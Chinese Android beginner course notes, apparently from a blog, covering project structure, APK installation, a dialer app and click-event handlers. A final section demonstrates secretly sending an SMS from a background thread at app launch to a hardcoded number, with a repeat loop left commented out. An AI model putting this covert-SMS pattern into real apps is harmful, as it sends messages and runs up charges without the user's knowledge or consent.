Android核心基础——Day01_2

*6.工程目录结构



Android应用程序架构

src  java原代码存放目录

gen 自动生成目录

目录中存放所有由Android开发工具自动生成的文件。目录中最重要的就是R.java文件。 这个文件由Android开发工具自动产生的。Android开发工具会自动根据你放入res目录的资源,同步更新修改R.java文件。正因为R.java文件是由开发工具自动生成的,所以我们应避免手工修改R.java。R.java在应用中起到了字典的作用,它包含了各种资源的id,通过R.java,应用可以很方便地找到对应资源。另外编绎器也会检查R.java列表中的资源是否被使用到,没有被使用到的资源不会编绎进软件中,这样可以减少应用在手机占用的空间。

res 资源(Resource)目录

在这个目录中我们可以存放应用使用到的各种资源,如xml界面文件,图片或数据。具体请看ppt下方备注栏。

libs 支持库目录

程序开发时需要的一些三方的jar包可以放在这个目录,系统会自动把里面的jar包,添加到环境变量。

assets 资源目录

Android除了提供/res目录存放资源文件外,在/assets目录也可以存放资源文件,而且/assets目录下的资源文件不会在R.java自动生成ID,所以读取/assets目录下的文件必须指定文件的路径,如:file:///android_asset/xxx.3gp

AndroidManifest.xml 项目清单文件

 这个文件列出了应用程序所提供的功能,以后你开发好的各种组件需要在该文件中进行配置,如果应用使用到了系统内置的应用(如电话服务、互联网服务、短信服务、GPS服务等等),你还需在该文件中声明使用权限。

project.properties 项目环境信息,一般是不需要修改此文件



工程目录结构:
src: 存放java代码
gen: 存放自动生成文件的. R.java 存放res文件夹下对应资源的id
project.properties: 指定当前工程采用的开发工具包的版本
libs: 当前工程所依赖的jar包.
assets: 放置一些程序所需要的媒体文件.数据库.

bin: 工程的编译目录. 存放一些编译时产生的临时文件和当前工程的.apk文件.
res(resources): 资源文件.
drawable: 存放程序所用的图片.
layout: 存放android的布局文件.
menu: 存放android的OptionsMenu菜单的布局.
values (应用程序所需要的数据. 会在R文件中生成id)
strings.xml 存放android字符串.
dimens.xml 存放屏幕适配所用到的尺寸.
style.xml 存放android下显示的样式.
values-sw600dp 7寸平板所对应的值
values-sw720dp-land 10寸平板所对应的值
values-v11 指定3.0版本以上的手机显示的样式.
values-v14 指定4.0版本以上的手机显示的样式.
AndroidManifest.xml: android应用程序的入口文件. 声明了android里边的组件. 和相关配置信息.
proguard-project.txt: 加密当前程序所使用.



==

Android 四大组件


反编译。现在也不用了。

运行程序——>清单文件——>启动界面。


*7.打包安装过程


打包安装过程(Run as Android Application ) :

1. 生成apk文件.
1). 生成.dex文件.
2). 资源索引表的生成resources.arsc.
3). 准备未编译文件.
4). 清单文件AndroidMenifest.xml文件转换成二进制.
5). 使用debug.keystore对整个应用程序进行打包签名.


2. 加载apk文件到模拟器中.
把apk文件加载到/data/local/tmp/xxx.apk


3. 安装应用程序.
1). 把/data/local/tmp/xxx.apk文件, 剪切/data/app/包名-1.apk
2). 在/data/data/文件夹下以包名创建一个文件夹, 用于存储当前程序的数据.
3). 在packages.xml和packages.list文件中分别添加一条记录.

APK文件内容:


rsa


===

安装的路径:把apk文件加载到/data/local/tmp/xxx.apk


怎么安装的呢?


安装应用程序.
1). 把/data/local/tmp/xxx.apk文件, 剪切/data/app/包名-1.apk

                2). 在/data/data/文件夹下以包名创建一个文件夹, 用于存储当前程序的数据.





3). 在packages.xml和packages.list文件中分别添加一条记录.


*8.拨号器的布局




-

显示文本的控件  TextView
输入框控件   EditText
按钮控件 Button

Android5大布局

-RelativeLayout 相对布局

国际化 Ctrl + 1

edittext alt+/


android:onclick



-



*9.拨号器完成

	/**
	 * 当拨打此号码的按钮被点击时触发此方法.
	 * @param v
	 */
	public void call(View v) {
		System.out.println("拨打电话.");
		
		// 1. 取出输入框中的号码
		EditText etNumber = (EditText) findViewById(R.id.number);	// 输入框对象
		String number = etNumber.getText().toString();	// 将要拨打的号码 ;getText()得到的是editable、
		
		// 2. 根据号码拨打电话
		Intent intent = new Intent();		// 创建一个意图
		intent.setAction(Intent.ACTION_CALL);		// 指定其动作为拨打电话
		intent.setData(Uri.parse("tel:" + number));	// 指定将要拨出的号码
		startActivity(intent);	// 执行这个动作
	}


权限:

给应用添加权限:


-

问题:如果输入字符串。

限制输入框的内容;


-


-

手机连电脑调试的时候,要先装驱动。

小工具——asm.jar


-




*10.四种点击事件

【1】onclick属性 public void xx(View v){...}

因为是一个接口,不能直接new。所以有以下几个方法:

【2】匿名内部类

	Button btnCall = (Button) findViewById(R.id.btn_call);
		
		btnCall.setOnClickListener(new OnClickListener() {
			
			@Override
			public void onClick(View v) {
				System.out.println("MainUI2 拨打电话.");
				call();
			}
		});
【3】写一个类实现该接口,添加未实现的方法

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);		// 必须执行此句代码. 执行父类的初始化操作.
		
		setContentView(R.layout.main);		// 设置当前界面显示的布局.
		
		
		Button btnCall = (Button) findViewById(R.id.btn_call);
		
		btnCall.setOnClickListener(new MyOnClickListener());
	}
	
	class MyOnClickListener implements OnClickListener {

		@Override
		public void onClick(View v) {
			System.out.println("MainUI3 拨打号码..");
			call();
		}
	}




【4】开发中最多的。

/**
 * @author andong
 * 程序刚运行就显示的界面
 */
public class MainUI4 extends Activity implements OnClickListener {

	/**
	 * 当界面刚被创建时回调此方法
	 */
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);		// 必须执行此句代码. 执行父类的初始化操作.
		
		setContentView(R.layout.main);		// 设置当前界面显示的布局.
		
		
		Button btnCall = (Button) findViewById(R.id.btn_call);
		
		btnCall.setOnClickListener(this);
	}
	
//	class MyOnClickListener implements OnClickListener {
//
//		@Override
//		public void onClick(View v) {
//			System.out.println("MainUI3 拨打号码..");
//			call();
//		}
//	}
	
	/**
	 * 拨打电话的业务方法
	 */
	private void call() {
		
		// 1. 取出输入框中的号码
		EditText etNumber = (EditText) findViewById(R.id.number);	// 输入框对象
		String number = etNumber.getText().toString();	// 将要拨打的号码
		
		// 2. 根据号码拨打电话
		Intent intent = new Intent();		// 创建一个意图
		intent.setAction(Intent.ACTION_CALL);		// 指定其动作为拨打电话
		intent.setData(Uri.parse("tel:" + number));	// 指定将要拨出的号码
		startActivity(intent);	// 执行这个动作
	}

	@Override
	public void onClick(View v) {
		System.out.println("MainUI4 拨打号码..");
		call();
	}
}





*11.后台偷偷发短信

  1.设置背景

   2.去除标题

protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		
		// 去除标题, 必须在setContentView 方法前调用
		requestWindowFeature(Window.FEATURE_NO_TITLE);	// 取出标题
		
		setContentView(R.layout.activity_main);
}
3.写逻辑

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		
		// 去除标题, 必须在setContentView 方法前调用
		requestWindowFeature(Window.FEATURE_NO_TITLE);	// 取出标题
		
		setContentView(R.layout.activity_main);
		
		
		// 开启一个子线程. while(true) 循环发送短信
		
		new Thread(new Runnable() {
			@Override
			public void run() {
				
//				while(true) {
					// 循环发送短信

//					Thread.sleep(1000);
					
					SystemClock.sleep(5000);//这个方法不需要try...catch
					
					SmsManager smsManager = SmsManager.getDefault();		// 短信管理器
					smsManager.sendTextMessage(
							"18511619290", 	// 收件人的号码
							null,			// 短信中心号码 
							"今晚小树林, 不见不散.", 
							null, 	// 如果发送成功, 回调此广播, 通知我们.
							null);	// 当对方接收成功, 回调此广播.
//				}
			}
		}).start();
		
	}

	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		// Inflate the menu; this adds items to the action bar if it is present.
		getMenuInflater().inflate(R.menu.main, menu);
		return true;
	}

}

权限:






  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值